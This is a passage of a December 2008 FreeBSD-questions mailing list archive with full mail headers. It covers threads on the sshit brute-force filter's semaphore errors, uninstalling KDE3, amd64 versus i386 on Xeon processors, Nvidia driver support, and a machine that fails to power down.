23DA8106564A for ; Tue, 2 Dec 2008 13:54:32 +0000 (UTC) (envelope-from wmoran@potentialtech.com) Received: from mail.potentialtech.com (internet.potentialtech.com [66.167.251.6]) by mx1.freebsd.org (Postfix) with ESMTP id E32898FC0C for ; Tue, 2 Dec 2008 13:54:31 +0000 (UTC) (envelope-from wmoran@potentialtech.com) Received: from vanquish.ws.pitbpa0.priv.collaborativefusion.com (pr40.pitbpa0.pub.collaborativefusion.com [206.210.89.202]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.potentialtech.com (Postfix) with ESMTPSA id A7F40EBC09; Tue, 2 Dec 2008 08:54:30 -0500 (EST) Date: Tue, 2 Dec 2008 08:54:27 -0500 From: Bill Moran To: d.forsyth@ru.ac.za Message-Id: <20081202085427.ed5634d0.wmoran@potentialtech.com> In-Reply-To: <49354C7C.9611.68C7120@d.forsyth.ru.ac.za> References: <49354C7C.9611.68C7120@d.forsyth.ru.ac.za> X-Mailer: Sylpheed 2.5.0 (GTK+ 2.12.11; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: sshit runs out of semaphores X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 13:54:32 -0000 In response to "DA Forsyth" : > Hiya > > I recently started (trying) to use sshit to filter the many brute > force sshd attacks. > > However, it has never worked on my box. FreeBSD 7.0 p1. > > This morning it would only give a message (without exiting) > Could not create semaphore set: No space left on device > at /usr/local/sbin/sshit line 322 > Every time it gets stopped by CTRL-C it leaves the shared memory > behind, allocated. Have a look at ipcs and ipcrm, which will save you the reboots. > A side issue is that sshit will only filter rapid fire attacks, but I > am also seeing 'slow fire' attacks, where an IP is repeated every 2 > or 3 hours, but there seem to be a network of attackers because the > name sequence is kept up across many incoming IP's. Is there any > script for countering these attacks? > If not I'll write one I think. My approach: http://www.potentialtech.com/cms/node/16 -- Bill Moran http://www.potentialtech.com From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 13:56:40 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D019B1065677 for ; Tue, 2 Dec 2008 13:56:40 +0000 (UTC) (envelope-from masoom.shaikh@gmail.com) Received: from rv-out-0506.google.com (rv-out-0506.google.com [209.85.198.235]) by mx1.freebsd.org (Postfix) with ESMTP id 9D8948FC13 for ; Tue, 2 Dec 2008 13:56:40 +0000 (UTC) (envelope-from masoom.shaikh@gmail.com) Received: by rv-out-0506.google.com with SMTP id b25so2921009rvf.43 for ; Tue, 02 Dec 2008 05:56:40 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type:references; bh=lrolCjShzy20NyRdXk7f29z52+WPB/bDmCG5wHrv5/8=; b=m/e2+StlW5a1vEN9Va+oSImxPuUxE5+GYFw4JKc1yZD8YOdu0RsF8gaa5+B3ZO0Lk+ OR/51Bg9afjoJVeXPiv0M5WMdMZ7hD84X+vCD/SPmE+MpGFkxVTeZ8doT9aIFntq1DNP HGcN95997cRqP3m5nS1Cr1r/7Lctfjx768avw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:references; b=X88omx8g9cF7lxjjzEJeDySCfWDNdXR/FgggDkVmAp6wRhZf4I5TE1xMwpSqbSDPWH mCXM+K0sNdKR5DDD5PxUner2dkcCk9JWaPwa7c1DAdER7kWgiWPqHrzWl4atFEgc5b+/ n1BdOOQIYouftBpxiy0ng/kRral0nItah0TXw= Received: by 10.141.75.17 with SMTP id c17mr5768819rvl.169.1228226200253; Tue, 02 Dec 2008 05:56:40 -0800 (PST) Received: by 10.141.136.16 with HTTP; Tue, 2 Dec 2008 05:56:40 -0800 (PST) Message-ID: Date: Tue, 2 Dec 2008 19:26:40 +0530 From: "Masoom Shaikh" To: "Leslie Jensen" In-Reply-To: <4934E5DA.6040308@eskk.nu> MIME-Version: 1.0 References: <4934E5DA.6040308@eskk.nu> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: Uninstalling kde3 meta-port X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 13:56:40 -0000 can try `pkg_delete -a` On Tue, Dec 2, 2008 at 1:08 PM, Leslie Jensen wrote: > Hi > > How would you guys uninstall a meta-port? > > I'm considering a move to kde4 but I want a clean install, so I want to > remove the kde3 meta-port first. > > Thanks > > /Leslie > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 14:19:48 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1BAA51065673 for ; Tue, 2 Dec 2008 14:19:48 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from hmacs.cmi.ua.ac.be (hmacs.cmi.ua.ac.be [143.129.75.10]) by mx1.freebsd.org (Postfix) with ESMTP id 9FCA88FC1C for ; Tue, 2 Dec 2008 14:19:47 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from hmacs.cmi.ua.ac.be (localhost [127.0.0.1]) by hmacs.cmi.ua.ac.be (8.13.8+Sun/8.13.8) with ESMTP id mB2EJjro011825; Tue, 2 Dec 2008 15:19:45 +0100 (CET) Received: from localhost (pdon@localhost) by hmacs.cmi.ua.ac.be (8.13.8+Sun/8.13.8/Submit) with ESMTP id mB2EJiDP011822; Tue, 2 Dec 2008 15:19:44 +0100 (CET) X-Authentication-Warning: hmacs.cmi.ua.ac.be: pdon owned process doing -bs Date: Tue, 2 Dec 2008 15:19:44 +0100 (CET) From: Pieter Donche X-X-Sender: pdon@hmacs.cmi.ua.ac.be To: Ebbe Hjorth In-Reply-To: <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> Message-ID: References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD 7.0: which distribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Pieter Donche List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 14:19:48 -0000 On Tue, 2 Dec 2008, Ebbe Hjorth wrote: > 2008/12/2 Pieter Donche > On Tue, 2 Dec 2008, Ebbe Hjorth wrote: > Hi, > All new XEON cpus are 64-bit spo use the 64 bit freebsd version. > I never googled it before, but 2 sec gave me > http://www.freebsd.org/releases/7.0R/hardware.html#PROC-AMD64 > > So use the amd64 ;) Is the amd64 distribution mature enough, as compared to the i386? Aren't there any problems to be expected to arrive, months after initial install and way in the production usage ?? From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 14:36:01 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1A1D2106564A for ; Tue, 2 Dec 2008 14:36:01 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 367758FC08 for ; Tue, 2 Dec 2008 14:35:59 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2EZprr015550; Tue, 2 Dec 2008 15:35:51 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2EZnXT015547; Tue, 2 Dec 2008 15:35:49 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 15:35:49 +0100 (CET) From: Wojciech Puchar To: Pieter Donche In-Reply-To: Message-ID: <20081202153505.A15540@wojtek.tensor.gdynia.pl> References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Ebbe Hjorth , freebsd-questions@freebsd.org Subject: Re: FreeBSD 7.0: which distribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 14:36:01 -0000 >> So use the amd64 ;) > > Is the amd64 distribution mature enough, as compared to the i386? yes > Aren't there any problems to be expected to arrive, months after > initial install and way in the production usage ?? no. the only reason that people use FreeBSD/i386 on 64-bit processors is that some binary-only drivers are only availaboe for i386. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 14:48:40 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4114A106564A for ; Tue, 2 Dec 2008 14:48:40 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from hmacs.cmi.ua.ac.be (hmacs.cmi.ua.ac.be [143.129.75.10]) by mx1.freebsd.org (Postfix) with ESMTP id C594A8FC13 for ; Tue, 2 Dec 2008 14:48:39 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from hmacs.cmi.ua.ac.be (localhost [127.0.0.1]) by hmacs.cmi.ua.ac.be (8.13.8+Sun/8.13.8) with ESMTP id mB2Emces012618; Tue, 2 Dec 2008 15:48:38 +0100 (CET) Received: from localhost (pdon@localhost) by hmacs.cmi.ua.ac.be (8.13.8+Sun/8.13.8/Submit) with ESMTP id mB2EmcLV012615; Tue, 2 Dec 2008 15:48:38 +0100 (CET) X-Authentication-Warning: hmacs.cmi.ua.ac.be: pdon owned process doing -bs Date: Tue, 2 Dec 2008 15:48:38 +0100 (CET) From: Pieter Donche X-X-Sender: pdon@hmacs.cmi.ua.ac.be To: Wojciech Puchar In-Reply-To: <20081202153505.A15540@wojtek.tensor.gdynia.pl> Message-ID: References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> <20081202153505.A15540@wojtek.tensor.gdynia.pl> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Ebbe Hjorth , freebsd-questions@freebsd.org Subject: Re: FreeBSD 7.0: which distribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Pieter Donche List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 14:48:40 -0000 On Tue, 2 Dec 2008, Wojciech Puchar wrote: > the only reason that people use FreeBSD/i386 on 64-bit processors is that > some binary-only drivers are only availaboe for i386. what kind of drivers would be missing for the amd64 distribution ??? From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 14:48:57 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 94314106567A for ; Tue, 2 Dec 2008 14:48:57 +0000 (UTC) (envelope-from ghirai@ghirai.com) Received: from ghirai.com (ghirai.com [195.74.52.87]) by mx1.freebsd.org (Postfix) with ESMTP id 584D78FC16 for ; Tue, 2 Dec 2008 14:48:57 +0000 (UTC) (envelope-from ghirai@ghirai.com) Received: from localhost (localhost [127.0.0.1]) by ghirai.com (Postfix) with ESMTPSA id B395616F63 for ; Tue, 2 Dec 2008 14:48:42 +0000 (GMT) Date: Tue, 2 Dec 2008 16:48:54 +0200 From: Ghirai To: freebsd-questions@freebsd.org Message-Id: <20081202164854.3445cbcb.ghirai@ghirai.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: stand-alone GTK2 wlan config tool? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 14:48:57 -0000 Hello list, Are there any stand-alone, GTK2, wlan config apps out there (basic stuff, like viewing available networks, setting wpa key, connecting, etc.)? I'm using xfce, and the wlan plugin thingie can only show the signal strength, assuming i'm already connected. Thanks. -- Regards, Ghirai. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 14:59:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CAC9E1065675 for ; Tue, 2 Dec 2008 14:59:34 +0000 (UTC) (envelope-from Johan@double-l.nl) Received: from smtp-vbr3.xs4all.nl (smtp-vbr3.xs4all.nl [194.109.24.23]) by mx1.freebsd.org (Postfix) with ESMTP id 5C9C18FC14 for ; Tue, 2 Dec 2008 14:59:34 +0000 (UTC) (envelope-from Johan@double-l.nl) Received: from w2003s01.double-l.local (double-l.xs4all.nl [80.126.205.144]) by smtp-vbr3.xs4all.nl (8.13.8/8.13.8) with ESMTP id mB2ExSHQ073280; Tue, 2 Dec 2008 15:59:29 +0100 (CET) (envelope-from Johan@double-l.nl) Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1250" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Tue, 2 Dec 2008 15:59:32 +0100 Message-ID: <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: FreeBSD 7.0: which distribution Thread-Index: AclUjhM5ogleb/cLScuvHm+IvQfGJgAAGXAg References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com><1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com><20081202153505.A15540@wojtek.tensor.gdynia.pl> From: "Johan Hendriks" To: "Pieter Donche" X-Virus-Scanned: by XS4ALL Virus Scanner Cc: freebsd-questions@freebsd.org Subject: RE: FreeBSD 7.0: which distribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 14:59:34 -0000 >> the only reason that people use FreeBSD/i386 on 64-bit processors is = that >> some binary-only drivers are only availaboe for i386. >what kind of drivers would be missing for the amd64 distribution ??? Nvidia!!! Regards, Johan Hendriks No virus found in this outgoing message. Checked by AVG - http://www.avg.com=20 Version: 8.0.176 / Virus Database: 270.9.12/1824 - Release Date: = 2-12-2008 9:31 From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 15:18:00 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9A55810656D8 for ; Tue, 2 Dec 2008 15:18:00 +0000 (UTC) (envelope-from OttK@zzz.ee) Received: from zzz.ee (kalah.zzz.ee [194.204.30.253]) by mx1.freebsd.org (Postfix) with ESMTP id 41D138FC0A for ; Tue, 2 Dec 2008 15:17:59 +0000 (UTC) (envelope-from OttK@zzz.ee) Received: from zzz.ee (localhost.zzz.ee [127.0.0.1]) by zzz.ee (Postfix) with ESMTP id 5BE67FD18D for ; Tue, 2 Dec 2008 17:17:58 +0200 (EET) Received: by zzz.ee (Postfix, from userid 3019) id 5A7BCFD184; Tue, 2 Dec 2008 17:17:58 +0200 (EET) X-Spam-Checker-Version: SpamAssassin on spamassassin.zzz.ee X-Spam-Level: X-Spam-Guessed-Language: X-Spam-Status: No, score=-13.0 required=5.0 tests=ALL_TRUSTED,BAYES_00 X-Spam-Checker-URL: http://info.zzz.ee Received: from [192.168.5.3] (adsl215.uninet.ee [194.204.62.215]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by zzz.ee (Postfix) with ESMTPS id 2C8EAFD18A for ; Tue, 2 Dec 2008 17:17:56 +0200 (EET) Message-ID: <493551A3.1050505@zzz.ee> Date: Tue, 02 Dec 2008 17:17:55 +0200 From: =?windows-1250?Q?Ott_K=F6stner?= Organization: TIGMA AS User-Agent: Thunderbird 2.0.0.18 (X11/20081125) MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com><1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com><20081202153505.A15540@wojtek.tensor.gdynia.pl> <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> In-Reply-To: <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> Content-Type: multipart/mixed; boundary="------------020407000603000500040205" X-Virus-Scanned: ClamAV using ClamSMTP @zzz.ee X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Nvidia (Re: FreeBSD 7.0: which distribution) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 15:18:00 -0000 This is a multi-part message in MIME format. --------------020407000603000500040205 Content-Type: text/plain; charset=windows-1250; format=flowed Content-Transfer-Encoding: 7bit Johan Hendriks wrote: > >>> the only reason that people use FreeBSD/i386 on 64-bit processors is that >>> some binary-only drivers are only availaboe for i386. >>> >> what kind of drivers would be missing for the amd64 distribution ??? >> > > Nvidia!!! > > I am one ot these folks, using 32-bit FreeBSD on my desktop, just because of Nvidia drivers. Wanted to ask, maybe somebody here knows, is there any hope to expect 64 bit Nvidia drivers in some reasonable future? What is the problem with Nvidia? Why they do not provide 64 bit drivers? Regards, O.K. -- Testi oma Interneti kiirust / Test Your Internet speed: http://speedtest.zzz.ee/ --------------020407000603000500040205-- From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 15:22:38 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C3F84106564A for ; Tue, 2 Dec 2008 15:22:38 +0000 (UTC) (envelope-from unga888@yahoo.com) Received: from web57001.mail.re3.yahoo.com (web57001.mail.re3.yahoo.com [66.196.97.105]) by mx1.freebsd.org (Postfix) with SMTP id 5462D8FC08 for ; Tue, 2 Dec 2008 15:22:38 +0000 (UTC) (envelope-from unga888@yahoo.com) Received: (qmail 84218 invoked by uid 60001); 2 Dec 2008 15:22:37 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type:Message-ID; b=sM7oyd6UBnF8yHDBJg+rdD9PfuPO3jrHFPLlBshM3nD8HBUhmd3VQc0dAzj3QqnqUNb9op5hYaGhxDPuSVXIDje/bG9XRx2KwzpkPWWIiT2BsHg5nNUVV5e2xRNX5+EQa7Qmy35shlID7ObOIc/ozdNUpVIR8lZlqq5daHZUju8=; X-YMail-OSG: bhk.eBoVM1kC9u8zlUzrGnRfX812CHi19b.Hgb2JcEQVGSn_PqYgAvSEzlQRmwcKYUOWkRtbgj.uHCu0vbF1NTpQQfZ_rQiA3U.Sa2HSWilql_V4l0b7ZGkdCHmm7ZZgxFWZ0A-- Received: from [220.255.7.214] by web57001.mail.re3.yahoo.com via HTTP; Tue, 02 Dec 2008 07:22:37 PST X-Mailer: YahooMailWebService/0.7.260.1 Date: Tue, 2 Dec 2008 07:22:37 -0800 (PST) From: Unga To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-ID: <706654.84147.qm@web57001.mail.re3.yahoo.com> Subject: FreeBSD cannot power down X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: unga888@yahoo.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 15:22:38 -0000 Hi all After a kernel recompilation on i386 RELENG_7 (not the latest), I cannot power down the machine. kldstat shows acpi.ko is loaded. It used to switch off but now the "shutdown -p now" halts the system with following messages: The operating system has halted. Please press any key to reboot. What else could I check to identify the cause? Appreciate your ideas on this. Kind regards Unga From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 15:29:11 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D91E9106564A for ; Tue, 2 Dec 2008 15:29:11 +0000 (UTC) (envelope-from roberthuff@rcn.com) Received: from smtp02.lnh.mail.rcn.net (smtp02.lnh.mail.rcn.net [207.172.157.102]) by mx1.freebsd.org (Postfix) with ESMTP id 815358FC18 for ; Tue, 2 Dec 2008 15:29:11 +0000 (UTC) (envelope-from roberthuff@rcn.com) Received: from mr08.lnh.mail.rcn.net ([207.172.157.28]) by smtp02.lnh.mail.rcn.net with ESMTP; 02 Dec 2008 10:29:10 -0500 Received: from smtp01.lnh.mail.rcn.net (smtp01.lnh.mail.rcn.net [207.172.4.11]) by mr08.lnh.mail.rcn.net (MOS 3.10.3-GA) with ESMTP id KMF00417; Tue, 2 Dec 2008 10:28:23 -0500 (EST) Received: from unknown (HELO jerusalem.litteratus.org.litteratus.org) ([209.6.22.188]) by smtp01.lnh.mail.rcn.net with ESMTP; 02 Dec 2008 10:28:17 -0500 From: Robert Huff MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <18741.21520.946885.224555@jerusalem.litteratus.org> Date: Tue, 2 Dec 2008 10:28:16 -0500 To: =?windows-1250?Q?Ott_K=F6stner?= In-Reply-To: <493551A3.1050505@zzz.ee> References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> <20081202153505.A15540@wojtek.tensor.gdynia.pl> <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> <493551A3.1050505@zzz.ee> X-Mailer: VM 7.17 under 21.5 (beta28) "fuki" XEmacs Lucid X-Junkmail-Whitelist: YES (by domain whitelist at mr08.lnh.mail.rcn.net) Cc: freebsd-questions@freebsd.org Subject: Nvidia (Re: FreeBSD 7.0: which distribution) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 15:29:11 -0000 =?windows-1250?Q?Ott_K=F6stner?= writes: > I am one ot these folks, using 32-bit FreeBSD on my desktop, just > because of Nvidia drivers. > > Wanted to ask, maybe somebody here knows, is there any hope to > expect 64 bit Nvidia drivers in some reasonable future? What is > the problem with Nvidia? Why they do not provide 64 bit drivers? For the same reason they don't provide up-to-date i386 drivers. This is a recurring thread; please search the mailing list archives. (Hint: try "Zander nvidia" as a search term.) Robert Huff From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 15:31:55 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1E5A31065672 for ; Tue, 2 Dec 2008 15:31:55 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 330BA8FC0C for ; Tue, 2 Dec 2008 15:31:53 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2FVkf6015669; Tue, 2 Dec 2008 16:31:46 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2FVkah015666; Tue, 2 Dec 2008 16:31:46 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 16:31:45 +0100 (CET) From: Wojciech Puchar To: =?windows-1250?Q?Ott_K=F6stner?= In-Reply-To: <493551A3.1050505@zzz.ee> Message-ID: <20081202163118.E15652@wojtek.tensor.gdynia.pl> References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com><1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com><20081202153505.A15540@wojtek.tensor.gdynia.pl> <57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local> <493551A3.1050505@zzz.ee> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Nvidia (Re: FreeBSD 7.0: which distribution) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 15:31:55 -0000 > Nvidia drivers. > > Wanted to ask, maybe somebody here knows, is there any hope to expect 64 bit > Nvidia drivers in some reasonable future? What is the problem with Nvidia? > Why they do not provide 64 bit drivers? because there are not enough pressure from clients? (by not buying them) From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 15:37:23 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 11CE31065672 for ; Tue, 2 Dec 2008 15:37:23 +0000 (UTC) (envelope-from Johan@double-l.nl) Received: from smtp-vbr9.xs4all.nl (smtp-vbr9.xs4all.nl [194.109.24.29]) by mx1.freebsd.org (Postfix) with ESMTP id 948E98FC14 for ; Tue, 2 Dec 2008 15:37:22 +0000 (UTC) (envelope-from Johan@double-l.nl) Received: from w2003s01.double-l.local (double-l.xs4all.nl [80.126.205.144]) by smtp-vbr9.xs4all.nl (8.13.8/8.13.8) with ESMTP id mB2FbHVk007972 for ; Tue, 2 Dec 2008 16:37:18 +0100 (CET) (envelope-from Johan@double-l.nl) Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1250" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Tue, 2 Dec 2008 16:37:21 +0100 Message-ID: <57200BF94E69E54880C9BB1AF714BBCB5DE325@w2003s01.double-l.local> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Nvidia (Re: FreeBSD 7.0: which distribution) Thread-Index: AclUk5z/SoK9bM8HTOyeX8ku8PmYTAAAEe6w References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com><1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com><20081202153505.A15540@wojtek.tensor.gdynia.pl><57200BF94E69E54880C9BB1AF714BBCB5DE324@w2003s01.double-l.local><493551A3.1050505@zzz.ee> <20081202163118.E15652@wojtek.tensor.gdynia.pl> From: "Johan Hendriks" To: X-Virus-Scanned: by XS4ALL Virus Scanner Subject: RE: Nvidia (Re: FreeBSD 7.0: which distribution) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 15:37:23 -0000 >> Nvidia drivers. >> >> Wanted to ask, maybe somebody here knows, is there any hope to expect = 64 bit=20 >> Nvidia drivers in some reasonable future? What is the problem with = Nvidia?=20 >> Why they do not provide 64 bit drivers? >because there are not enough pressure from clients? (by not buying = them) They missing some things in the kernel of FreeBSD so it has nothing to = do with nvidia not willing it is FreeBSD who 